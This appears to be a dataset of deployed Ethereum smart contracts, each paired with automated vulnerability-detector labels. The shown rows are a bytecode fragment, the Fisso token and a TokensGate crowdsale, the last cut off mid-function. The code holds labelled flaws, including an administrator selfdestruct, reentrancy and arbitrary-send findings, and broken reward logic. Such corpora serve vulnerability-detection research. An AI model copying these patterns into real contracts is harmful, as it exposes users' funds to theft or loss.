01600160a01b03838116911614155b80156112ba57506001600160a01b03821660009081526005602052604090205460ff16155b80156112cf5750601354600160b81b900460ff165b15611317576001600160a01b03821660009081526008602052604090205442116112f857600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b60006113223061074d565b601354909150600160a81b900460ff1615801561134d57506013546001600160a01b03858116911614155b80156113625750601354600160b01b900460ff165b15611382576113708161155d565b4780156113805761138047611478565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806113c657506001600160a01b03831660009081526005602052604090205460ff165b156113cf575060005b6113db848484846117c6565b50505050565b600081848411156114705760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561143557818101518382015260200161141d565b50505050905090810190601f1680156114625780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc611492836002611784565b6040518115909202916000818181858888f193505050501580156114ba573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114d5836002611784565b6040518115909202916000818181858888f19350505050158015610978573d6000803e3d6000fd5b6000600a548211156115405760405162461bcd60e51b815260040180806020018281038252602a815260200180612021602a913960400191505060405180910390fd5b600061154a6118e2565b90506115568382611784565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061159e57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115f257600080fd5b505afa158015611606573d6000803e3d6000fd5b505050506040513d602081101561161c57600080fd5b505181518290600190811061162d57fe5b6001600160a01b0392831660209182029290920101526012546116539130911684610f0f565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156116d95781810151838201526020016116c1565b505050509050019650505050505050600060405180830381600087803b15801561170257600080fd5b505af1158015611716573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261173a57506000610588565b8282028284828161174757fe5b04146115565760405162461bcd60e51b815260040180806020018281038252602181526020018061206d6021913960400191505060405180910390fd5b600061155683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611905565b806117d3576117d361196a565b6001600160a01b03841660009081526006602052604090205460ff16801561181457506001600160a01b03831660009081526006602052604090205460ff16155b156118295761182484848461199c565b6118d5565b6001600160a01b03841660009081526006602052604090205460ff1615801561186a57506001600160a01b03831660009081526006602052604090205460ff165b1561187a57611824848484611ac0565b6001600160a01b03841660009081526006602052604090205460ff1680156118ba57506001600160a01b03831660009081526006602052604090205460ff165b156118ca57611824848484611b69565b6118d5848484611bdc565b806113db576113db611c20565b60008060006118ef611c2e565b90925090506118fe8282611784565b9250505090565b600081836119545760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561143557818101518382015260200161141d565b50600083858161196057fe5b0495945050505050565b600c5415801561197a5750600d54155b156119845761199a565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806119ae87611db9565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119e09088611e16565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a0f9087611e16565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a3e9086611e58565b6001600160a01b038916600090815260026020526040902055611a6081611eb2565b611a6a8483611f3a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611ad287611db9565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b049087611e16565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611b3a9084611e58565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611a3e9086611e58565b600080600080600080611b7b87611db9565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611bad9088611e16565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611b049087611e16565b600080600080600080611bee87611db9565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a0f9087611e16565b600e54600c55600f54600d55565b600a54600090819068327cb2734119d3b7a9601e1b825b600954811015611d7357826002600060098481548110611c6157fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611cc65750816003600060098481548110611c9f57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611ce757600a5468327cb2734119d3b7a9601e1b94509450505050611db5565b611d276002600060098481548110611cfb57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e16565b9250611d696003600060098481548110611d3d57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e16565b9150600101611c45565b50600a54611d8d9068327cb2734119d3b7a9601e1b611784565b821015611daf57600a5468327cb2734119d3b7a9601e1b935093505050611db5565b90925090505b9091565b6000806000806000806000806000611dd68a600c54600d54611f5e565b9250925092506000611de66118e2565b90506000806000611df98e878787611fad565b919e509c509a509598509396509194505050505091939550919395565b600061155683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e1565b600082820183811015611556576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611ebc6118e2565b90506000611eca838361172b565b30600090815260026020526040902054909150611ee79082611e58565b3060009081526002602090815260408083209390935560069052205460ff1615610da25730600090815260036020526040902054611f259084611e58565b30600090815260036020526040902055505050565b600a54611f479083611e16565b600a55600b54611f579082611e58565b600b555050565b6000808080611f726064610ea0898961172b565b90506000611f856064610ea08a8961172b565b90506000611f9d82611f978b86611e16565b90611e16565b9992985090965090945050505050565b6000808080611fbc888661172b565b90506000611fca888761172b565b90506000611fd8888861172b565b90506000611fea82611f978686611e16565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205015ac9448e592191ca31dbd935e918ca0798c3956f25659aa910b959fa2989064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,237
0xef61cd96cc2389e1f4e6ceb8d86d46694902c73c
pragma solidity ^0.4.26; contract Fisso { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, uint256 totalSupply, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Fisso"; string public symbol = "FSO"; uint256 constant public totalSupply_ = 50000000; uint8 constant public decimals = 0; uint256 constant internal tokenPriceInitial_ = 27027027; uint256 constant internal tokenPriceIncremental_ = 216216; uint256 public percent = 300; uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_; uint256 public communityFunds = 0; address dev1; //management fees address dev2; //development and progress account address dev3; //marketing expenditure address dev4; //running cost and other expenses /*================================ = DATASETS = ================================*/ mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal rewardBalanceLedger_; address[] public holders_=new address[](0); address sonk; uint256 internal tokenSupply_ = 0; mapping(address => bool) public administrators; mapping(address => address) public genTree; constructor() public { sonk = msg.sender; administrators[sonk] = true; } function buy(address _referredBy) public payable returns(uint256) { genTree[msg.sender] = _referredBy; purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function withdrawRewards() public { address customerAddress_ = msg.sender; if(rewardBalanceLedger_[customerAddress_]>1000000000) { customerAddress_.transfer(rewardBalanceLedger_[customerAddress_]); rewardBalanceLedger_[customerAddress_] = 0; } } function reInvest() public { address customerAddress_ = msg.sender; require(rewardBalanceLedger_[customerAddress_] >= (currentPrice_*2), 'Your rewards are too low yet'); rewardBalanceLedger_[customerAddress_] = 0; purchaseTokens(rewardBalanceLedger_[customerAddress_], genTree[msg.sender]); } function distributeRewards(uint256 amountToDistribute) public onlyAdministrator() { if(communityFunds >= amountToDistribute) { for(uint i = 0; i<holders_.length;i++) { uint256 _balance = tokenBalanceLedger_[holders_[i]]; if(_balance>0) { rewardBalanceLedger_[holders_[i]] += ((_balance*10000000/tokenSupply_)*(amountToDistribute))/10000000; } } communityFunds -= amountToDistribute; } } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); if(rewardBalanceLedger_[_customerAddress]>0) { _customerAddress.transfer(rewardBalanceLedger_[_customerAddress]); } } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens,true); uint256 _dividends = _ethereum * 200/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); uint256 rewardsToDistribute = _dividends*1000/2000; rewardBalanceLedger_[dev1] = rewardBalanceLedger_[dev1]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev2] = rewardBalanceLedger_[dev2]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev3] = rewardBalanceLedger_[dev3]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev4] = rewardBalanceLedger_[dev4]+(rewardsToDistribute*250/1000); communityFunds += rewardsToDistribute; rewardBalanceLedger_[feeHolder_] += _dividends-(2*rewardsToDistribute); // fire event emit Transfer(_customerAddress,address(this), _amountOfTokens); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); _customerAddress.transfer(_taxedEthereum); } address feeHolder_; function registerDev234(address _devAddress1, address _devAddress2, address _devAddress3,address _devAddress4,address _feeHolder) onlyAdministrator() public { dev1 = _devAddress1; dev2 = _devAddress2; dev3 = _devAddress3; dev4 = _devAddress4; feeHolder_ = _feeHolder; administrators[feeHolder_] = true; } function transfer(address _toAddress, uint256 _amountOfTokens) public returns(bool) { // setup address _customerAddress = msg.sender; // these are dispersed to shareholders uint256 _tokenFee = _amountOfTokens * 10/100; uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); tokenBalanceLedger_[feeHolder_] += _tokenFee; // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); emit Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } function destruct() onlyAdministrator() public{ selfdestruct(feeHolder_); } function setPercent(uint256 newPercent) onlyAdministrator() public { percent = newPercent * 10; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function totalEthereumBalance() public view returns(uint) { return address(this).balance; } function totalSupply() public pure returns(uint256) { return totalSupply_; } function tokenSupply() public view returns(uint256) { return tokenSupply_; } function getCommunityFunds() public view returns(uint256) { return communityFunds; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } //check the ethereum reward balance function rewardOf(address _customerAddress) view public returns(uint256) { return rewardBalanceLedger_[_customerAddress]; } function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(2,false); uint256 _dividends = _ethereum * 200/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { return currentPrice_; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell,false); uint256 _dividends = _ethereum * 200/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ event testLog( uint256 currBal ); function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = _ethereumToSpend * percent/1000; uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum, currentPrice_, false); return _amountOfTokens; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _dividends = _incomingEthereum * percent/1000; uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum , currentPrice_, true); require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); if(tokenBalanceLedger_[_customerAddress] == _amountOfTokens) { holders_.push(_customerAddress); } uint256 rewardsToDistribute = _dividends*330/1000; communityFunds += rewardsToDistribute; rewardBalanceLedger_[_referredBy] += (rewardsToDistribute * 150) / 100; rewardBalanceLedger_[feeHolder_] += _dividends-(2*rewardsToDistribute); rewardsToDistribute = (rewardsToDistribute * 50) / 100; rewardBalanceLedger_[dev1] = rewardBalanceLedger_[dev1]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev2] = rewardBalanceLedger_[dev2]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev3] = rewardBalanceLedger_[dev3]+(rewardsToDistribute*250/1000); rewardBalanceLedger_[dev4] = rewardBalanceLedger_[dev4]+(rewardsToDistribute*250/1000); require(SafeMath.add(_amountOfTokens,tokenSupply_) <= totalSupply_); // fire event emit Transfer(address(this),_customerAddress, _amountOfTokens); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, bool buy) internal view returns(uint256) { uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental); uint256 _tokenSupply = tokenSupply_; uint256 _tokenPriceIncremental = (tokenPriceIncremental_*(3**(_tokenSupply/5000000))); uint256 _totalTokens = 0; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( _tempad**2 + (8*_tokenPriceIncremental*_ethereum) ) ), _tempad ) )/(2*_tokenPriceIncremental) ); uint256 tempbase = ((_tokenSupply/5000000)+1)*5000000; while((_tokensReceived + _tokenSupply) > tempbase){ _tokensReceived = tempbase - _tokenSupply; _ethereum = SafeMath.sub( _ethereum, ((_tokensReceived)/2)* ((2*_currentPrice)+((_tokensReceived-1) *_tokenPriceIncremental)) ); _currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental); _tokenPriceIncremental = (tokenPriceIncremental_*((3)**((_tokensReceived + _tokenSupply)/5000000))); _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental); uint256 _tempTokensReceived = ( ( SafeMath.sub( (sqrt ( _tempad**2 + (8*_tokenPriceIncremental*_ethereum) ) ), _tempad ) )/(2*_tokenPriceIncremental) ); _tokenSupply = _tokenSupply + _tokensReceived; _totalTokens = _totalTokens + _tokensReceived; _tokensReceived = _tempTokensReceived; tempbase = ((_tokenSupply/5000000)+1)*5000000; } _totalTokens = _totalTokens + _tokensReceived; _currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental); if(buy == true) { currentPrice_ = _currentPrice; } return _totalTokens; } function tokensToEthereum_(uint256 _tokens, bool sell) internal view returns(uint256) { uint256 _tokenSupply = tokenSupply_; uint256 _etherReceived = 0; uint256 tempbase = ((_tokenSupply/5000000))*5000000; uint256 _currentPrice = currentPrice_; uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((3)**(_tokenSupply/5000000))); while((_tokenSupply - _tokens) < tempbase) { uint256 tokensToSell = _tokenSupply - tempbase; if(tokensToSell == 0) { _tokenSupply = _tokenSupply - 1; tempbase = ((_tokenSupply/5000000))*5000000; continue; } uint256 b = ((tokensToSell-1)*_tokenPriceIncremental); uint256 a = _currentPrice - b; _tokens = _tokens - tokensToSell; _etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+b)); _currentPrice = a; _tokenSupply = _tokenSupply - tokensToSell; _tokenPriceIncremental = (tokenPriceIncremental_*((3)**((_tokenSupply-1)/5000000))); tempbase = (((_tokenSupply-1)/5000000))*5000000; } if(_tokens > 0) { a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental); _etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental))); _tokenSupply = _tokenSupply - _tokens; _currentPrice = a; } if(sell == true) { currentPrice_ = _currentPrice; } return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
1,238
0x82364809828443a8ee3237cd0d5090c126a11d1d
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { if (totalSupply.add(_amount) > 1000000000000000000000000000) { return false; } totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: contracts/TGCToken.sol contract TGCToken is MintableToken { string public constant name = "TokensGate Coin"; string public constant symbol = "TGC"; uint8 public constant decimals = 18; mapping(address => uint256) public whitelistAddresses; event Burn(address indexed burner, uint256 value); function setWhitelist(address _holder, uint256 _utDate) onlyOwner public { require(_holder != address(0)); whitelistAddresses[_holder] = _utDate; } // overriding StandardToken#approve function approve(address _spender, uint256 _value) public returns (bool) { require(whitelistAddresses[msg.sender] > 0); require(now >= whitelistAddresses[msg.sender]); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // overriding BasicToken#transfer function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(whitelistAddresses[msg.sender] > 0); require(now >= whitelistAddresses[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function burn(address _burner, uint256 _value) onlyOwner public { require(_value <= balances[_burner]); balances[_burner] = balances[_burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(_burner, _value); Transfer(_burner, address(0), _value); } } // File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } } // File: contracts/TokensGate.sol contract TokensGate is Crowdsale { mapping(address => bool) public icoAddresses; function TokensGate ( uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet ) public Crowdsale(_startTime, _endTime, _rate, _wallet) { } function createTokenContract() internal returns (MintableToken) { return new TGCToken(); } function () external payable { } function addIcoAddress(address _icoAddress) public { require(msg.sender == wallet); icoAddresses[_icoAddress] = true; } function setWhitelist(address holder, uint256 utDate) public { require(msg.sender == wallet); TGCToken tgcToken = TGCToken(token); tgcToken.setWhitelist(holder, utDate); } function burnTokens(address tokenOwner, uint256 t) payable public { require(msg.sender == wallet); TGCToken tgcToken = TGCToken(token); tgcToken.burn(tokenOwner, t); } function buyTokens(address beneficiary) public payable { require(beneficiary == address(0)); } function mintTokens(address walletToMint, uint256 t) payable public { require(walletToMint != address(0)); require(icoAddresses[walletToMint]); token.mint(walletToMint, t); } function changeOwner(address newOwner) payable public { require(msg.sender == wallet); wallet = newOwner; } function tokenOwnership(address newOwner) payable public { require(msg.sender == wallet); 